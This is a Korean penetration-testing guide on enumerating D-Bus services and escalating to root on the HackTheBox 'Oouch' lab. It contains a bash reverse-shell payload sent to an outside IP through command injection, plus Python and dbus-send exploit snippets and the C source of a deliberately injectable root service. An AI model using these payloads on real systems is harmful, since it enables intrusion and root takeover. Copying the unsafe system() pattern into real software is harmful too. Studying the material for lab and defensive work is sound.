D-Bus 열거 및 명령 주입 권한 상승

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GUI 열거

D-Bus는 Ubuntu 데스크탑 환경에서 프로세스 간 통신(IPC) 중재자로 사용됩니다. Ubuntu에서는 여러 메시지 버스가 동시에 작동하는 것을 관찰할 수 있습니다: 시스템 버스는 주로 특권 서비스가 시스템 전반에 관련된 서비스를 노출하는 데 사용되며, 각 로그인한 사용자에 대한 세션 버스는 해당 특정 사용자에게만 관련된 서비스를 노출합니다. 여기서는 권한 상승을 목표로 하기 때문에 더 높은 권한(예: root)으로 실행되는 서비스와의 연관성 때문에 시스템 버스에 주로 초점을 맞춥니다. D-Bus의 아키텍처는 각 세션 버스에 대해 '라우터'를 사용하여 클라이언트가 통신하고자 하는 서비스에 대해 지정한 주소에 따라 클라이언트 메시지를 적절한 서비스로 리디렉션하는 역할을 합니다.

D-Bus의 서비스는 객체인터페이스에 의해 정의됩니다. 객체는 표준 OOP 언어의 클래스 인스턴스에 비유될 수 있으며, 각 인스턴스는 객체 경로에 의해 고유하게 식별됩니다. 이 경로는 파일 시스템 경로와 유사하게 서비스에 의해 노출된 각 객체를 고유하게 식별합니다. 연구 목적을 위한 주요 인터페이스는 org.freedesktop.DBus.Introspectable 인터페이스로, 단일 메서드인 Introspect를 특징으로 합니다. 이 메서드는 객체가 지원하는 메서드, 신호 및 속성의 XML 표현을 반환하며, 여기서는 속성과 신호를 생략하고 메서드에 초점을 맞춥니다.

D-Bus 인터페이스와의 통신을 위해 두 가지 도구가 사용되었습니다: D-Bus에서 노출된 메서드를 스크립트에서 쉽게 호출할 수 있도록 하는 CLI 도구인 gdbus와 각 버스에서 사용 가능한 서비스를 열거하고 각 서비스에 포함된 객체를 표시하도록 설계된 Python 기반 GUI 도구인 D-Feet입니다.

bash
sudo apt-get install d-feet

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png

첫 번째 이미지에서는 D-Bus 시스템 버스에 등록된 서비스가 표시되며, org.debin.apt가 시스템 버스 버튼을 선택한 후 특별히 강조됩니다. D-Feet는 이 서비스에 대해 객체를 쿼리하여 선택된 객체의 인터페이스, 메서드, 속성 및 신호를 두 번째 이미지에 표시합니다. 각 메서드의 시그니처도 자세히 설명되어 있습니다.

주목할 만한 기능은 서비스의 **프로세스 ID (pid)**와 명령줄을 표시하는 것으로, 서비스가 상승된 권한으로 실행되는지 확인하는 데 유용하며, 연구의 관련성에 중요합니다.

D-Feet는 메서드 호출도 허용합니다: 사용자는 매개변수로 Python 표현식을 입력할 수 있으며, D-Feet는 이를 D-Bus 유형으로 변환한 후 서비스에 전달합니다.

그러나 일부 메서드는 인증이 필요하다는 점에 유의해야 합니다. 우리는 자격 증명 없이 권한을 상승시키는 것이 목표이므로 이러한 메서드는 무시할 것입니다.

또한 일부 서비스는 사용자가 특정 작업을 수행할 수 있는지 여부를 확인하기 위해 org.freedeskto.PolicyKit1이라는 다른 D-Bus 서비스에 쿼리합니다.

Cmd line Enumeration

서비스 객체 나열

열린 D-Bus 인터페이스를 나열하는 것이 가능합니다:

bash
busctl list #List D-Bus interfaces

NAME                                   PID PROCESS         USER             CONNECTION    UNIT                      SE
:1.0                                     1 systemd         root             :1.0          init.scope                -
:1.1345                              12817 busctl          qtc              :1.1345       session-729.scope         72
:1.2                                  1576 systemd-timesyn systemd-timesync :1.2          systemd-timesyncd.service -
:1.3                                  2609 dbus-server     root             :1.3          dbus-server.service       -
:1.4                                  2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
:1.6                                  2612 systemd-logind  root             :1.6          systemd-logind.service    -
:1.8                                  3087 unattended-upgr root             :1.8          unattended-upgrades.serv… -
:1.820                                6583 systemd         qtc              :1.820        user@1000.service         -
com.ubuntu.SoftwareProperties            - -               -                (activatable) -                         -
fi.epitest.hostap.WPASupplicant       2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
fi.w1.wpa_supplicant1                 2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
htb.oouch.Block                       2609 dbus-server     root             :1.3          dbus-server.service       -
org.bluez                                - -               -                (activatable) -                         -
org.freedesktop.DBus                     1 systemd         root             -             init.scope                -
org.freedesktop.PackageKit               - -               -                (activatable) -                         -
org.freedesktop.PolicyKit1               - -               -                (activatable) -                         -
org.freedesktop.hostname1                - -               -                (activatable) -                         -
org.freedesktop.locale1                  - -               -                (activatable) -                         -

Connections

From wikipedia: 프로세스가 버스에 연결을 설정하면, 버스는 해당 연결에 _고유 연결 이름_이라는 특별한 버스 이름을 할당합니다. 이러한 유형의 버스 이름은 불변이며, 연결이 존재하는 한 변경되지 않을 것이 보장됩니다. 더 중요한 것은, 버스의 수명 동안 재사용될 수 없다는 것입니다. 이는 해당 버스에 대한 다른 연결이 그러한 고유 연결 이름을 할당받지 않음을 의미하며, 동일한 프로세스가 버스에 대한 연결을 종료하고 새 연결을 생성하더라도 마찬가지입니다. 고유 연결 이름은 일반적으로 금지된 콜론 문자로 시작하기 때문에 쉽게 인식할 수 있습니다.

Service Object Info

그런 다음, 다음을 사용하여 인터페이스에 대한 정보를 얻을 수 있습니다:

bash
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface

PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read

서비스 객체의 인터페이스 나열

충분한 권한이 필요합니다.

bash
busctl tree htb.oouch.Block #Get Interfaces of the service object

└─/htb
└─/htb/oouch
└─/htb/oouch/Block

서비스 객체의 인터페이스 조사

이 예제에서는 tree 매개변수를 사용하여 발견된 최신 인터페이스가 선택된 것을 주목하세요 (이전 섹션 참조):

bash
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface

NAME                                TYPE      SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block                     interface -         -            -
.Block                              method    s         s            -
org.freedesktop.DBus.Introspectable interface -         -            -
.Introspect                         method    -         s            -
org.freedesktop.DBus.Peer           interface -         -            -
.GetMachineId                       method    -         s            -
.Ping                               method    -         -            -
org.freedesktop.DBus.Properties     interface -         -            -
.Get                                method    ss        v            -
.GetAll                             method    s         a{sv}        -
.Set                                method    ssv       -            -
.PropertiesChanged                  signal    sa{sv}as  -            -

.Block 인터페이스 htb.oouch.Block의 메서드를 주목하세요 (우리가 관심 있는 것). 다른 열의 "s"는 문자열을 기대하고 있다는 의미일 수 있습니다.

모니터/캡처 인터페이스

충분한 권한이 있으면 (단순히 send_destinationreceive_sender 권한만으로는 부족합니다) D-Bus 통신을 모니터링할 수 있습니다.

통신을 모니터링하려면 root가 되어야 합니다. 여전히 root로 문제를 겪고 있다면 https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/https://wiki.ubuntu.com/DebuggingDBus를 확인하세요.

warning

비루트 사용자가 통신을 스니핑할 수 있도록 D-Bus 구성 파일을 설정하는 방법을 알고 있다면 연락해 주세요!

모니터링하는 다양한 방법:

bash
sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see

다음 예제에서 인터페이스 htb.oouch.Block이 모니터링되고 메시지 "lalalalal"가 잘못된 통신을 통해 전송됩니다:

bash
busctl monitor htb.oouch.Block

Monitoring bus message stream.
‣ Type=method_call  Endian=l  Flags=0  Version=1  Priority=0 Cookie=2
Sender=:1.1376  Destination=htb.oouch.Block  Path=/htb/oouch/Block  Interface=htb.oouch.Block  Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};

‣ Type=method_return  Endian=l  Flags=1  Version=1  Priority=0 Cookie=16  ReplyCookie=2
Sender=:1.3  Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};

capture 대신 monitor를 사용하여 결과를 pcap 파일에 저장할 수 있습니다.

모든 잡음을 필터링하기

버스에 정보가 너무 많으면 다음과 같이 일치 규칙을 전달하세요:

bash
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"

여러 규칙을 지정할 수 있습니다. 메시지가 어떤 규칙과 일치하면 메시지가 출력됩니다. 다음과 같이:

bash
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
bash
dbus-monitor "type=method_call" "type=method_return" "type=error"

D-Bus 문서를 참조하여 매치 규칙 구문에 대한 자세한 정보를 확인하세요.

더 많은 정보

busctl에는 더 많은 옵션이 있으며, 여기에서 모두 찾을 수 있습니다.

취약한 시나리오

사용자 qtc가 HTB의 호스트 "oouch" 내에서 예상치 못한 D-Bus 구성 파일을 _/etc/dbus-1/system.d/htb.oouch.Block.conf_에서 찾을 수 있습니다.

xml
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->

<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">

<busconfig>

<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>

<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>

</busconfig>

이전 구성에서 정보를 전송하고 수신하려면 root 또는 www-data 사용자여야 합니다 이 D-BUS 통신을 통해.

도커 컨테이너 aeb4525789d8 내의 사용자 qtc로서 /code/oouch/routes.py 파일에서 dbus 관련 코드를 찾을 수 있습니다. 이것이 흥미로운 코드입니다:

python
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')

보시다시피, D-Bus 인터페이스에 연결하고 "Block" 함수에 "client_ip"를 전송하고 있습니다.

D-Bus 연결의 반대편에는 C로 컴파일된 바이너리가 실행되고 있습니다. 이 코드는 D-Bus 연결에서 IP 주소를 수신 대기하고 있으며 system 함수를 통해 iptables를 호출하여 주어진 IP 주소를 차단합니다.
system 호출은 명령 주입에 취약하도록 의도적으로 설계되어 있으므로, 다음과 같은 페이로드는 리버스 셸을 생성합니다: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #

Exploit it

이 페이지의 끝에서 D-Bus 애플리케이션의 전체 C 코드를 찾을 수 있습니다. 그 안에는 91-97행 사이에 D-Bus 객체 경로 **및 인터페이스 이름**이 등록되는 방법이 있습니다. 이 정보는 D-Bus 연결에 정보를 전송하는 데 필요합니다:

c
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);

또한, 57번째 줄에서 이 D-Bus 통신을 위해 등록된 유일한 방법Block이라고 불린다는 것을 알 수 있습니다(그래서 다음 섹션에서는 페이로드가 서비스 객체 htb.oouch.Block, 인터페이스 /htb/oouch/Block 및 메서드 이름 Block으로 전송될 것입니다):

c
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),

Python

다음 파이썬 코드는 block_iface.Block(runme)를 통해 Block 메서드에 페이로드를 D-Bus 연결로 전송합니다 (이 코드는 이전 코드 조각에서 추출되었습니다):

python
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()

busctl 및 dbus-send

bash
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
  • dbus-send는 "Message Bus"에 메시지를 보내는 데 사용되는 도구입니다.
  • Message Bus – 시스템에서 애플리케이션 간의 통신을 쉽게 하기 위해 사용되는 소프트웨어입니다. 이는 Message Queue와 관련이 있지만 (메시지가 순서대로 정렬됨) Message Bus에서는 메시지가 구독 모델로 전송되며 매우 빠릅니다.
  • “-system” 태그는 세션 메시지가 아닌 시스템 메시지를 언급하는 데 사용됩니다 (기본값).
  • “–print-reply” 태그는 우리의 메시지를 적절하게 출력하고 인간이 읽을 수 있는 형식으로 응답을 받는 데 사용됩니다.
  • “–dest=Dbus-Interface-Block” Dbus 인터페이스의 주소입니다.
  • “–string:” – 인터페이스에 보내고자 하는 메시지의 유형입니다. 메시지를 보내는 여러 형식이 있으며, 이에는 double, bytes, booleans, int, objpath가 포함됩니다. 이 중 "object path"는 파일의 경로를 Dbus 인터페이스에 보내고자 할 때 유용합니다. 이 경우 특별한 파일(FIFO)을 사용하여 파일 이름으로 인터페이스에 명령을 전달할 수 있습니다. “string:;” – 이는 FIFO 리버스 셸 파일/명령의 위치를 다시 호출하기 위한 것입니다.

htb.oouch.Block.Block에서 첫 번째 부분(htb.oouch.Block)은 서비스 객체를 참조하고 마지막 부분(.Block)은 메서드 이름을 참조합니다.

C code

d-bus_server.c
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>

static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;

/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}

char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";

int command_len = strlen(command);
int host_len = strlen(host);

char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}

sprintf(command_buffer, command, host);

/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();

if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}


/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};


int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
*      argc            (int)             Number of arguments, not required
*      argv[]          (char**)          Argument array, not required
*
* Returns:
*      Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
*      as long as the user keeps it alive.
*/


/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);

sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;

/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}

/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}

/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;

/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}

finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);

return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}

참고 문헌

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